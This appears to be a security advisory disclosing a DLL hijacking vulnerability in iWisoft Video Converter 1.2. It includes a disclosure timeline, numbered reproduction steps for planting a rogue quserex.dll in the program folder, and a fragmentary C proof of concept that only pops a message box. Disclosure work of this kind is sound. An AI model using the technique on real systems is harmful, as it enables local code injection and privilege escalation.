iWisoft Video Converter 1.2 - DLL Hijacking Vulnerability
Vulnerability Disclosure Timeline:
2016-10-04 : Discovery of the Vulnerability
2016-10-04 : Contact the Vendor (No Response)
2016-10-12 : Public Disclosure
Product & Service Introduction:
iWisoft Free Video Converter is a powerful, high-quality freeware video converter.
It can easily convert video/audio between all popular formats. It can convert video/audio from one format to another, rip audio from video, convert video to image series, animated gif.
The free video converter provides you optimized output profiles, you can easily convert video/audio for iPod, iPhone, PSP, Zune and many other digital devices.
(Copy of the Vendor Homepage: http://www.iwisoft.com/ )
Product: iWisoft Video Converter v1.2 - Software
Technical Details & Description:
A local dll injection vulnerability has been discovered in the official iWisoft Video Converter v1.2 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.
[+] iWisoft Video Converter
Proof of Concept (PoC):
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to quserex.dll
2. Copy quserex.dll to C:Program FilesiWisoft Free Video ConverterVideoConverter.exe
3. Launch VideoConverter.exe
4. MessageBox Executed
-- PoC Exploit --
#define DllExport __declspec (dllexport)
BOOL WINAPI DllMain (
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
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